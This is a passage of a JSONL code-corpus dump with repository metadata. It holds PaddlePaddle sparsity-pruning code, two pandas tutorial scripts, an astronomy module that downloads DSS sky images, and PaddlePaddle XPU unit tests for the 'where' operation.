params_and_grads):\n        r\"\"\"\n        Create sparse mask Tensors according to supported layers in :attr:`main_program`.\n        This function is called in second step of `ASPHelper.minimize`\n\n        Args:\n            main_program (Program): Program with model definition and its parameters.\n            start_program (Program): Program for initializing parameters.\n            params_and_grads (list): Variable pairs of parameters and their gradients.\n        Examples:\n            .. code-block:: python\n\n              import paddle.fluid as fluid\n              from paddle.fluid.contrib.sparsity import ASPHelper\n\n              main_program = fluid.Program()\n              start_program = fluid.Program()\n\n              with fluid.program_guard(main_program, start_program):\n                    input_data = fluid.layers.data(name='data', shape=[None, 128])\n                    label = fluid.layers.data(name='label', shape=[None, 10])\n                    hidden = fluid.layers.fc(input=input_data, num_flatten_dims=-1, size=32, act=None)\n                    prob = fluid.layers.fc(input=hidden, num_flatten_dims=-1, size=10, act=None)\n                    loss = fluid.layers.mean(fluid.layers.square_error_cost(prob, label))\n\n                    optimizer = fluid.optimizer.SGD(learning_rate=0.1)\n\n                    # Equal to ASPHelper.minimize(loss, optimizer, main_program, start_program)\n                    optimizer_ops, params_and_grads = optimizer.minimize(loss)\n                    ASPHelper.create_mask_variables(main_program, start_program, params_and_grads)\n                    ASPHelper.insert_sparse_mask_ops(main_program, start_program, params_and_grads)\n        \"\"\"\n        with program_guard(main_program, start_program):\n            for param_and_grad in params_and_grads:\n                if ASPHelper.is_supported_layer(param_and_grad[0].name):\n                    mask_param = layers.create_parameter(\n                                 name=param_and_grad[0].name + ASPHelper.MASKE_APPENDDED_NAME,\n                                 shape=param_and_grad[0].shape, dtype=param_and_grad[0].dtype,\n                                 default_initializer=ConstantInitializer(value=1.0))\n                    mask_param.stop_gradient=True\n                    mask_param.trainable=False\n                    cls.__mask_vars[param_and_grad[0].name] = mask_param\n\n    @classmethod\n    def prune_model(cls, main_program, start_program, place, func_name='get_mask_1d_greedy', with_mask=True):\n        r\"\"\"\n        Pruning parameters of supported layers in :attr:`main_program` via \n        specified mask generation function given by :attr:`func_name`. This \n        function supports both training and inference controlled by :attr:`with_mask`.\n        If :attr:`with_mask` is True, it would also prune parameter related ASP mask Variables,\n        else only prunes parameters.\n\n        *Note*: If calling this function with :attr:`with_mask`, it should call `ASPHelper.minimize` \n        and initialization (`exe.run(startup_program`)) before.\n\n        Args:\n            main_program (Program): Program with model definition and its parameters.\n            start_program (Program): Program for initializing parameters.\n            place (fluid.CPUPlace()|fluid.CUDAPlace(N)): Device place for pruned parameter and mask Variables.\n            func_name (string, optional): The name of function to generate spase masks. Defalut is `get_mask_1d_greedy`.\n            with_mask (bool, optional): To prune mask Variables related to parameters or not. Ture is purning also, False is not. Defalut is True.\n        Returns:\n            dictionary: A dictionary with key: `parameter name` (string) and value: its corresponding mask Variable.\n        Examples:\n            .. code-block:: python\n\n              import paddle.fluid as fluid\n              from paddle.fluid.contrib.sparsity import ASPHelper\n\n              main_program = fluid.Program()\n              start_program = fluid.Program()\n\n              place = fluid.CUDAPlace(0)\n\n              with fluid.program_guard(main_program, start_program):\n                    input_data = fluid.layers.data(name='data', shape=[None, 128])\n                    label = fluid.layers.data(name='label', shape=[None, 10])\n                    hidden = fluid.layers.fc(input=input_data, num_flatten_dims=-1, size=32, act=None)\n                    prob = fluid.layers.fc(input=hidden, num_flatten_dims=-1, size=10, act=None)\n                    loss = fluid.layers.mean(fluid.layers.square_error_cost(prob, label))\n\n                    optimizer = fluid.optimizer.SGD(learning_rate=0.1)\n                    ASPHelper.minimize(loss, optimizer, main_program, start_program)\n\n              exe = fluid.Executor(place)\n              exe.run(start_program)\n\n              ASPHelper.prune_model(main_program, start_program, place, func_name=\"get_mask_2d_greedy\")\n        \"\"\"\n        checked_func_name = 'check_mask_1d' if '1d' in func_name else 'check_mask_2d'\n\n        for param in main_program.global_block().all_parameters():\n            if ASPHelper.is_supported_layer(param.name):\n                weight_param = global_scope().find_var(param.name).get_tensor()\n                weight_tensor = np.array(weight_param)\n                weight_sparse_mask = sparsity.create_mask(weight_tensor.T, func_name=func_name).T\n                weight_pruned_tensor = np.multiply(weight_tensor, weight_sparse_mask)\n                weight_param.set(weight_pruned_tensor, place)\n                assert sparsity.check_sparsity(weight_pruned_tensor.T, m=4, n=2, func_name=checked_func_name), \\\n                        'Pruning {} weight matrix failure!!!'.format(param.name)\n                if with_mask:\n                    weight_mask_param = global_scope().find_var(ASPHelper.get_mask_name(param.name))\n                    assert weight_mask_param is not None, \\\n                        'Cannot find {} variable, please call ASPHelper.minimize' \\\n                        'initialization (exe.run(startup_program)) first!'.format(ASPHelper.get_mask_name(param.name))\n                    weight_mask_param = weight_mask_param.get_tensor()\n                    weight_mask_param.set(weight_sparse_mask, place)\n                cls.__masks[param.name] = weight_sparse_mask\n        return cls.__masks.copy()\n\n    @classmethod\n    def insert_sparse_mask_ops(cls, main_program, start_program, param_grads):\n        r\"\"\"\n        Insert masking ops in the end of parameters update.\n        This function is called in third step of `ASPHelper.minimize`\n\n        Args:\n            main_program (Program): Program with model definition and its parameters.\n            start_program (Program): Program for initializing parameters.\n            params_and_grads (list): Variable pairs of parameters and their gradients.\n        Examples:\n            .. code-block:: python\n\n              import paddle.fluid as fluid\n              from paddle.fluid.contrib.sparsity import ASPHelper\n\n              main_program = fluid.Program()\n              start_program = fluid.Program()\n\n              with fluid.program_guard(main_program, start_program):\n                    input_data = fluid.layers.data(name='data', shape=[None, 128])\n                    label = fluid.layers.data(name='label', shape=[None, 10])\n                    hidden = fluid.layers.fc(input=input_data, num_flatten_dims=-1, size=32, act=None)\n                    prob = fluid.layers.fc(input=hidden, num_flatten_dims=-1, size=10, act=None)\n                    loss = fluid.layers.mean(fluid.layers.square_error_cost(prob, label))\n\n                    optimizer = fluid.optimizer.SGD(learning_rate=0.1)\n\n                    # Equal to ASPHelper.minimize(loss, optimizer, main_program, start_program)\n                    optimizer_ops, params_and_grads = optimizer.minimize(loss)\n                    ASPHelper.create_mask_variables(main_program, start_program, params_and_grads)\n                    ASPHelper.insert_sparse_mask_ops(main_program, start_program, params_and_grads)\n        \"\"\"\n        block = main_program.global_block()\n        for param_grad in param_grads:\n            if param_grad[0].name in cls.__mask_vars:\n                block.append_op(\n                    type='elementwise_mul',\n                    inputs={\"X\": param_grad[0],\n                            'Y': cls.__mask_vars[param_grad[0].name]},\n                    outputs={'Out': param_grad[0]},\n                    attrs={'axis': -1,\n                            'use_mkldnn': False}\n                )\n\n    @classmethod\n    def compress_model(cls, main_program, place):\n        assert not main_program in cls.__compressed_cache, \\\n               'One program only need to compress model once. Called more than one would make errors'\n\n        fake_batch_size = 128\n        for param in main_program.global_block().all_parameters():\n            if ASPHelper.is_supported_layer(param.name):\n                shape = param.shape\n                param_tensor = global_scope().find_var(param.name).get_tensor()\n                core.compress_parameter(place, param_tensor, shape[1], fake_batch_size, shape[0],\n                                        shape[1], shape[0], shape[1], True)\n\n        cls.__compressed_cache[main_program] = True\n\n        block = main_program.global_block()\n        for op in block.ops:\n            param_input_name = ASPHelper.SPARSE_OP_PARAM_INPUT_NAME_MAP.get(op.type, None)\n            if param_input_name in op.input_names:\n               for var_name in op.input(param_input_name):\n                   if ASPHelper.is_supported_layer(var_name):\n                       op._set_attr(\"is_sparse_compressed\", True)\n                       break\n\n    @classmethod\n    def replace_dense_to_sparse_op(cls, main_program):\n        is_compressed = main_program in cls.__compressed_cache\n\n        block = main_program.global_block()\n        for op in block.ops:\n            replacement_info = ASPHelper.DENSE_SPARSE_OP_MAP.get(op.type, None)\n            if (replacement_info is not None) and \\\n               (replacement_info.source_param_input_name in op.input_names) and \\\n               (replacement_info.is_executable(block, op)):\n                param_name = op.input(replacement_info.source_param_input_name)[replacement_info.source_param_idx]\n                param = block.var(param_name)\n                if (ASPHelper.is_supported_layer(param_name)) and \\\n                   (param is not None):\n                    op.desc.set_type(replacement_info.target_type)\n                    # TODO Need to be more general for future sparse conv ops.\n                    op._set_attr(\"param_name\", param.name)\n                    op._set_attr(\"is_sparse_compressed\", is_compressed)\n                    for key, val in replacement_info.param_shape_related_attrs.items():\n                       op._set_attr(key, param.shape[val])\n                    for key, val in replacement_info.constant_attrs.items():\n                       op._set_attr(key, val)\n\n", "meta": {"hexsha": "fba285652db59cae639d4c9a9801c844e8723370", "size": 19680, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/contrib/sparsity/asp.py", "max_stars_repo_name": "mingxu1067/paddle_sparse_dev", "max_stars_repo_head_hexsha": "53b4e82b04d1df8a86c183a226911b2c4966629e", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-01-23T16:49:36.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-23T16:49:36.000Z", "max_issues_repo_path": "python/paddle/fluid/contrib/sparsity/asp.py", "max_issues_repo_name": "mingxu1067/paddle_sparse_dev", "max_issues_repo_head_hexsha": "53b4e82b04d1df8a86c183a226911b2c4966629e", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/paddle/fluid/contrib/sparsity/asp.py", "max_forks_repo_name": "mingxu1067/paddle_sparse_dev", "max_forks_repo_head_hexsha": "53b4e82b04d1df8a86c183a226911b2c4966629e", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 45.8741258741, "max_line_length": 146, "alphanum_fraction": 0.6328760163, "include": true, "reason": "import numpy", "num_tokens": 4033, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.10374863517987339, "lm_q1q2_score": 0.050253772652049174}}
{"text": "from datetime import date\n\nimport pandas as pd\nimport numpy as np\n\ndata = {'System Logs': 210, 'User Logs': 416, 'Debug Logs': 520}\nprint(\"<---- Create Series from dictionary ---->\")\n# When the data is a dict, and an index is not passed, the Series index will be ordered by\n# the dict\u2019s insertion order, if you\u2019re using Python version >= 3.6 and Pandas version >= 0.23.\n# If you\u2019re using Python < 3.6 or Pandas < 0.23, and an index is not passed, the Series index\n# will be the lexically ordered list of dict keys.\nprint(pd.Series(data=data))\n# If an index is passed, the values in data corresponding to the labels in the index will\n# be pulled out.\ndict_data = {'a': 1.1, 'b': 2.2, 'c': 3.3, 'd': 4.4}\nprint(\"<---- Create Series using dictionary with specifying index ---->\")\nprint(\"Series without specifying index\")\nprint(pd.Series(data=dict_data))\nprint(\"Series with specifying index\")\n# NaN (not a number) is the standard missing data marker used in pandas.\nprint(pd.Series(data=dict_data,index=['c','b','e','a','d']))", "meta": {"hexsha": "3b75f2dea1ff11703f6d774ac3028cc624d5164a", "size": 1022, "ext": "py", "lang": "Python", "max_stars_repo_path": "python-pandas/Python_Pandas/series/CreateSeriesDict.py", "max_stars_repo_name": "theumang100/tutorials-1", "max_stars_repo_head_hexsha": "497f54c2adb022c316530319a168fca1c007d4b1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 9, "max_stars_repo_stars_event_min_datetime": "2020-04-23T05:24:19.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-17T16:37:51.000Z", "max_issues_repo_path": "python-pandas/Python_Pandas/series/CreateSeriesDict.py", "max_issues_repo_name": "theumang100/tutorials-1", "max_issues_repo_head_hexsha": "497f54c2adb022c316530319a168fca1c007d4b1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 5, "max_issues_repo_issues_event_min_datetime": "2020-10-01T05:08:37.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-12T03:18:10.000Z", "max_forks_repo_path": "python-pandas/Python_Pandas/series/CreateSeriesDict.py", "max_forks_repo_name": "theumang100/tutorials-1", "max_forks_repo_head_hexsha": "497f54c2adb022c316530319a168fca1c007d4b1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 9, "max_forks_repo_forks_event_min_datetime": "2020-04-28T14:06:41.000Z", "max_forks_repo_forks_event_max_datetime": "2021-10-19T18:32:28.000Z", "avg_line_length": 48.6666666667, "max_line_length": 95, "alphanum_fraction": 0.7035225049, "include": true, "reason": "import numpy", "num_tokens": 275, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438008427698437, "lm_q2_score": 0.10374862063125985, "lm_q1q2_score": 0.05025376560499052}}
{"text": "#!/usr/bin/env python\n# encoding: utf-8\n#\n# dss.py\n#\n# Created by Jos\u00e9 S\u00e1nchez-Gallego on 14 Sep 2017.\n\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import absolute_import\n\nfrom astropy.io import fits\n\nimport io\nimport pathlib\nimport urllib.request\n\nimport numpy as np\n\ntry:\n    import PIL.Image\nexcept ImportError:\n    raise ImportError('this module requires pillow.')\n\n\n__all__ = ['download_dss', 'DSS']\n\n\nBASE_URL = ('http://stdatu.stsci.edu/cgi-bin/dss_search?'\n            'v={survey_full}&r={ra:.6f}&d={dec:.6f}&e=J2000&h={height}&'\n            'w={width}&f={format}&c=none&fov=NONE&v3=')\n\nsurvey_full_dict = {'1r': 'poss1_red',\n                    '1b': 'poss1_blue',\n                    '2r': 'poss2ukstu_red',\n                    '2b': 'poss2ukstu_blue',\n                    '2ir': 'poss2ukstu_ir'}\n\n\nclass DSS(fits.HDUList):\n    \"\"\"Creates a DSS FITS object around a region of the sky.\n\n    Parameters:\n        ra,dec (float):\n            Right Ascension and Declination around of the DSS region that will\n            be created.\n        size (float or list):\n            The size, in arcmin, of the area to download. It can be specified\n            as a single value, in which case a square region will be\n            downloaded, or a list of two values, height and width.\n        survey ({'2r', '2b', '2ir', '1r', '1b'}):\n            The version of the survey to use for downloads.\n\n    \"\"\"\n\n    def __init__(self, ra, dec, size=5, survey='2r', **kwargs):\n\n        size = np.atleast_1d(size)\n        assert len(size) > 0 and len(size) <= 2, 'incorrect shape for size.'\n\n        assert ra >= 0 and ra < 360., 'invalid RA coordinate'\n        assert dec > -90 and dec < 90, 'invalid Dec coordinate'\n\n        if len(size) == 1:\n            height = width = size[0]\n        else:\n            height, width = size\n\n        assert survey in ['2r', '2ir', '2b', '1r', '1b'], 'invalid survey type.'\n\n        survey_full = survey_full_dict[survey]\n\n        self.url = BASE_URL.format(survey_full=survey_full, ra=ra, dec=dec,\n                                   height=height, width=width, format='fits')\n\n        try:\n            url_data = urllib.request.urlopen(self.url)\n        except urllib.request.URLError as ee:\n            raise ValueError(f'cannot open URL for these parameters: {ee}')\n\n        data = url_data.read()\n\n        if 'Something went wrong' in str(data):\n            if 'Calibration and image data not available for field data...' not in str(data):\n                raise ValueError(f'survey {survey_full} does not cover coordiantes ({ra},{dec})')\n            else:\n                raise ValueError('unknown problem while retrieving the data.')\n\n        fits_obj = fits.HDUList.fromstring(data)\n\n        super(DSS, self).__init__(fits_obj)\n\n        self._gif = None\n\n    def writeto(self, *args, **kwargs):\n        \"\"\"Writes the FITS. See `~astropy.io.fits.HDUList.writeto`.\"\"\"\n\n        new_obj = fits.HDUList([ext for ext in self])\n\n        return new_obj.writeto(*args, **kwargs)\n\n    @property\n    def gif(self):\n        \"\"\"Returns a PILImage_ object for this field.\n\n        .. _PILImage: http://pillow.readthedocs.io/en/latest/reference/Image.html\n\n        \"\"\"\n\n        if self._gif is None:\n\n            url = self.url.replace('f=fits', 'f=gif')\n\n            try:\n                url_data = urllib.request.urlopen(url)\n            except urllib.request.URLError as ee:\n                raise ValueError(f'cannot open URL for these parameters: {ee}')\n\n            data = url_data.read()\n\n            image = PIL.Image.open(io.BytesIO(data))\n            assert isinstance(image, PIL.GifImagePlugin.GifImageFile), 'incorrect image type.'\n\n            self._gif = image\n\n        return self._gif\n\n\ndef download_dss(ra, dec, path, save_gif=False, overwrite=False, **kwargs):\n    \"\"\"Downloads a DSS image.\n\n    Parameters:\n        ra,dec (float):\n            Right Ascension and Declination of the DSS region to be downloaded.\n        path (str):\n            The full path where the FITS image will be saved.\n        save_gif (bool):\n            If ``True``, the GIF image will also be saved to the same location\n            defined in ``path``.\n        overwrite (bool):\n            Whether the images, if they exist, should be overwritten.\n        kwargs (dict):\n            Other arguments to be passed to :class:`DSS`.\n\n    Return:\n        DSS object:\n            A :class:`DSS` object representing the field.\n\n    \"\"\"\n\n    dss = DSS(ra, dec, **kwargs)\n\n    path = pathlib.Path(path)\n\n    assert not path.is_dir(), 'path must contain a filename.'\n    assert path.parent.exists(), 'directory does not exist.'\n\n    dss.writeto(path, overwrite=overwrite)\n\n    if save_gif:\n        gif = dss.gif\n        gif_path = path.with_suffix('.gif')\n        if gif_path.exists():\n            if overwrite:\n                gif_path.unlink()\n            else:\n                raise FileExistsError(f'file {gif_path:s} exists and overwrite=False.')\n        gif.save(gif_path)\n\n    return dss\n", "meta": {"hexsha": "c6d697df4bd43d26f1fdb4994328819f3663e036", "size": 5042, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/albireolib/surveys/dss.py", "max_stars_repo_name": "albireox/albireolib", "max_stars_repo_head_hexsha": "e11e5807d059bc9d5883d6eae37e56f900e407db", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "python/albireolib/surveys/dss.py", "max_issues_repo_name": "albireox/albireolib", "max_issues_repo_head_hexsha": "e11e5807d059bc9d5883d6eae37e56f900e407db", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/albireolib/surveys/dss.py", "max_forks_repo_name": "albireox/albireolib", "max_forks_repo_head_hexsha": "e11e5807d059bc9d5883d6eae37e56f900e407db", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 29.3139534884, "max_line_length": 97, "alphanum_fraction": 0.5892502975, "include": true, "reason": "import numpy,from astropy", "num_tokens": 1234, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48438009916360314, "lm_q2_score": 0.10374861647451347, "lm_q1q2_score": 0.050253765136011465}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jun 12 12:12:16 2018\n\n@author: user\n\"\"\"\n\n# 1) pandas hizli ve etkili for dataframes\n# 2) csv ve text dosyalar\u0131na acip inceleyip sonuclarimiza bu dosya tiplerine rahat bir sekilde kaydedbilir.\n# 3) pandas bizim isimizi kolaylastiriyor for missing data\n# 4) reshape yapip datayi daha etkili bir sekilde kullanabiliriz\n# 5) slicing indexing kolay\n# 6) time series data analizinde cok yardimci olur\n# 7) ayrica herseyden onemlisi hiz, pandas hiz acisindan optimize edilmis hizli bir kutuphanedir\n\nimport pandas as pd\n\ndictionary = {\"NAME\":[\"ali\",\"veli\",\"kenan\",\"hilal\",\"ayse\",\"evren\"],\n              \"AGE\":[15,16,17,33,45,66],\n              \"MAAS\": [100,150,240,350,110,220]} \n\ndataFrame1 = pd.DataFrame(dictionary)\n\n\nhead = dataFrame1.head()\ntail = dataFrame1.tail()\n\n# %%\n# pandas basic method\n\nprint(dataFrame1.columns)\n\nprint(dataFrame1.info())\n\nprint(dataFrame1.dtypes)\n\nprint(dataFrame1.describe())  # numeric feature = columns (age,maas)\n\n# %% indexing and slicing\n\n\nprint(dataFrame1[\"AGE\"])\nprint(dataFrame1.AGE)\n\ndataFrame1[\"yeni feature\"] = [-1,-2,-3,-4,-5,-6]\n\nprint(dataFrame1.loc[:, \"AGE\"])\n\nprint(dataFrame1.loc[:3, \"AGE\"])\n\nprint(dataFrame1.loc[:3, \"AGE\":\"NAME\"])\n\nprint(dataFrame1.loc[:3, [\"AGE\",\"NAME\"]])\n\nprint(dataFrame1.loc[::-1,:])\n\nprint(dataFrame1.loc[:,:\"NAME\"])\n\nprint(dataFrame1.loc[:,\"NAME\"]) #ACCEPT OBJECT INDEX\n\nprint(dataFrame1.iloc[:,2]) #ACCEPT INTEGER INDEX\n\n# %% filtering\n\nfiltre1 = dataFrame1.MAAS > 200\n\nfiltrelenmis_data = dataFrame1[filtre1]\n\nfiltre2 = dataFrame1.AGE <20\n\ndataFrame1[filtre1 & filtre2]\n\nprint(dataFrame1[dataFrame1.AGE > 60])\n\n# %% list comprehension\nimport numpy as np\n\nortalama_maas = dataFrame1.MAAS.mean()\n\n# ortalama_maas_np = np.mean(dataFrame1.MAAS)\n\n\ndataFrame1[\"maas_seviyesi\"] = [\"dusuk\" if ortalama_maas > each else \"yuksek\" for each in dataFrame1.MAAS]\n\n#for each in dataFrame1.MAAS:\n#    if(ortalama_maas > each):\n#        print(\"dusuk\")\n#    else:\n#        print(\"yukse\")\n        \n\ndataFrame1.columns\n\n\ndataFrame1.columns = [ each.lower() for each in dataFrame1.columns] \n\ndataFrame1.columns = [each.split()[0]+\"_\"+each.split()[1] if(len(each.split())>1) else each for each in dataFrame1.columns]\n\n# %% drop and concatenating\n\ndataFrame1.drop([\"yeni_feature\"],axis=1,inplace = True)\n\n# dataFrame1 = dataFrame1.drop([\"yeni_feature\"],axis=1)\n\ndata1 = dataFrame1.head()\ndata2 = dataFrame1.tail()\n\n# vertical\ndata_concat = pd.concat([data1,data2],axis=0)\n\n\n# horizontal\n\nmaas = dataFrame1.maas\nage = dataFrame1.age\n\ndata_h_concat = pd.concat([maas,age],axis=1)\n\n\n# %% transforming data\n\ndataFrame1[\"list_comp\"] = [ each*2 for each in dataFrame1.age]\n\n# apply()\n\ndef multiply(age):\n     return age*2\n    \ndataFrame1[\"apply_metodu\"] = dataFrame1.age.apply(multiply)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "meta": {"hexsha": "18ea4849d7014dacda9c95e1ce3ac44e36353114", "size": 2790, "ext": "py", "lang": "Python", "max_stars_repo_path": "Pandas Exercises/pandas+intro,basic+methods,indexing,+slicing,+filtering,+list+comprehension,concatenating,+transform+data.py", "max_stars_repo_name": "MRdvan/Python-Training", "max_stars_repo_head_hexsha": "abe471df7bebe9bccc0a8419726134eb9f446fb1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Pandas Exercises/pandas+intro,basic+methods,indexing,+slicing,+filtering,+list+comprehension,concatenating,+transform+data.py", "max_issues_repo_name": "MRdvan/Python-Training", "max_issues_repo_head_hexsha": "abe471df7bebe9bccc0a8419726134eb9f446fb1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Pandas Exercises/pandas+intro,basic+methods,indexing,+slicing,+filtering,+list+comprehension,concatenating,+transform+data.py", "max_forks_repo_name": "MRdvan/Python-Training", "max_forks_repo_head_hexsha": "abe471df7bebe9bccc0a8419726134eb9f446fb1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 18.6, "max_line_length": 123, "alphanum_fraction": 0.6946236559, "include": true, "reason": "import numpy", "num_tokens": 869, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.4455295350395727, "lm_q2_score": 0.11279541821247763, "lm_q1q2_score": 0.05025369023079931}}
{"text": "# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n#     http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function, division\n\nimport numpy as np\nimport unittest\nimport sys\nsys.path.append(\"..\")\n\nimport paddle\nimport paddle.fluid as fluid\nfrom paddle.fluid import Program\nfrom paddle.fluid.backward import append_backward\n\nfrom op_test_xpu import XPUOpTest\nfrom xpu.get_test_cover_info import create_test_class, get_xpu_op_support_types, XPUOpTestWrapper\n\npaddle.enable_static()\n\n\nclass XPUTestWhereOp(XPUOpTestWrapper):\n    def __init__(self):\n        self.op_name = 'where'\n\n    class TestXPUWhereOp(XPUOpTest):\n        def setUp(self):\n            self.init_config()\n            self.init_data()\n            self.inputs = {'Condition': self.cond, 'X': self.x, 'Y': self.y}\n            self.outputs = {'Out': np.where(self.cond, self.x, self.y)}\n\n        def init_data(self):\n            self.x = np.random.uniform(-3, 5, (100)).astype(self.dtype)\n            self.y = np.random.uniform(-3, 5, (100)).astype(self.dtype)\n            self.cond = np.zeros((100)).astype(\"bool\")\n\n        def init_config(self):\n            self.op_type = \"where\"\n            self.dtype = self.in_type\n            self.place = paddle.XPUPlace(0)\n            self.__class__.no_need_check_grad = True\n\n        def test_check_output(self):\n            self.check_output_with_place(self.place)\n\n    class TestXPUWhereOp2(TestXPUWhereOp):\n        def init_data(self):\n            self.x = np.random.uniform(-5, 5, (60, 2)).astype(self.dtype)\n            self.y = np.random.uniform(-5, 5, (60, 2)).astype(self.dtype)\n            self.cond = np.ones((60, 2)).astype(\"bool\")\n\n    class TestXPUWhereOp3(TestXPUWhereOp):\n        def init_data(self):\n            self.x = np.random.uniform(-3, 5, (20, 2, 4)).astype(self.dtype)\n            self.y = np.random.uniform(-3, 5, (20, 2, 4)).astype(self.dtype)\n            self.cond = np.array(\n                np.random.randint(\n                    2, size=(20, 2, 4)), dtype=bool)\n\n\nsupport_types = get_xpu_op_support_types('where')\nfor stype in support_types:\n    create_test_class(globals(), XPUTestWhereOp, stype)\n\n\nclass TestXPUWhereAPI(unittest.TestCase):\n    def setUp(self):\n        self.__class__.use_xpu = True\n        self.place = paddle.XPUPlace(0)\n        self.init_data()\n\n    def init_data(self):\n        self.shape = [10, 15]\n        self.cond = np.array(np.random.randint(2, size=self.shape), dtype=bool)\n        self.x = np.random.uniform(-2, 3, self.shape).astype(np.float32)\n        self.y = np.random.uniform(-2, 3, self.shape).astype(np.float32)\n        self.out = np.where(self.cond, self.x, self.y)\n\n    def ref_x_backward(self, dout):\n        return np.where(self.cond == True, dout, 0)\n\n    def ref_y_backward(self, dout):\n        return np.where(self.cond == False, dout, 0)\n\n    def test_api(self):\n        for x_stop_gradient in [False, True]:\n            for y_stop_gradient in [False, True]:\n                train_prog = fluid.Program()\n                startup = fluid.Program()\n                with fluid.program_guard(train_prog, startup):\n                    cond = fluid.data(\n                        name='cond', shape=self.shape, dtype='bool')\n                    x = fluid.data(name='x', shape=self.shape, dtype='float32')\n                    y = fluid.data(name='y', shape=self.shape, dtype='float32')\n\n                    x.stop_gradient = x_stop_gradient\n                    y.stop_gradient = y_stop_gradient\n\n                    result = paddle.where(cond, x, y)\n                    append_backward(fluid.layers.mean(result))\n\n                    exe = fluid.Executor(self.place)\n                    exe.run(startup)\n\n                    fetch_list = [result, result.grad_name]\n                    if x_stop_gradient is False:\n                        fetch_list.append(x.grad_name)\n                    if y_stop_gradient is False:\n                        fetch_list.append(y.grad_name)\n                    out = exe.run(\n                        train_prog,\n                        feed={'cond': self.cond,\n                              'x': self.x,\n                              'y': self.y},\n                        fetch_list=fetch_list)\n                    assert np.array_equal(out[0], self.out)\n\n                    if x_stop_gradient is False:\n                        assert np.array_equal(out[2],\n                                              self.ref_x_backward(out[1]))\n                        if y.stop_gradient is False:\n                            assert np.array_equal(out[3],\n                                                  self.ref_y_backward(out[1]))\n                    elif y.stop_gradient is False:\n                        assert np.array_equal(out[2],\n                                              self.ref_y_backward(out[1]))\n\n    def test_api_broadcast(self, use_cuda=False):\n        train_prog = fluid.Program()\n        startup = fluid.Program()\n        with fluid.program_guard(train_prog, startup):\n            x = fluid.layers.data(name='x', shape=[4, 1], dtype='float32')\n            y = fluid.layers.data(name='y', shape=[4, 2], dtype='float32')\n            x_i = np.array([[0.9383, 0.1983, 3.2, 1.2]]).astype(\"float32\")\n            y_i = np.array([[1.0, 1.0, 1.0, 1.0],\n                            [1.0, 1.0, 1.0, 1.0]]).astype(\"float32\")\n            result = paddle.where(x > 1, x=x, y=y)\n\n            exe = fluid.Executor(self.place)\n            exe.run(startup)\n\n            out = exe.run(train_prog,\n                          feed={'x': x_i,\n                                'y': y_i},\n                          fetch_list=[result])\n            assert np.array_equal(out[0], np.where(x_i > 1, x_i, y_i))\n\n\nclass TestWhereDygraphAPI(unittest.TestCase):\n    def test_api(self):\n        with fluid.dygraph.guard(paddle.XPUPlace(0)):\n            x_i = np.array([0.9383, 0.1983, 3.2, 1.2]).astype(\"float32\")\n            y_i = np.array([1.0, 1.0, 1.0, 1.0]).astype(\"float32\")\n            cond_i = np.array([False, False, True, True]).astype(\"bool\")\n            x = fluid.dygraph.to_variable(x_i)\n            y = fluid.dygraph.to_variable(y_i)\n            cond = fluid.dygraph.to_variable(cond_i)\n            out = paddle.where(cond, x, y)\n            assert np.array_equal(out.numpy(), np.where(cond_i, x_i, y_i))\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "461b56ff0d8a833ba14084d4c2eb34611351a8fa", "size": 6883, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/tests/unittests/xpu/test_where_op_xpu.py", "max_stars_repo_name": "ZibinGuo/Paddle", "max_stars_repo_head_hexsha": "6e0892312de5e4ba76d980ff0e4322ac55ca0d07", "max_stars_repo_licenses": 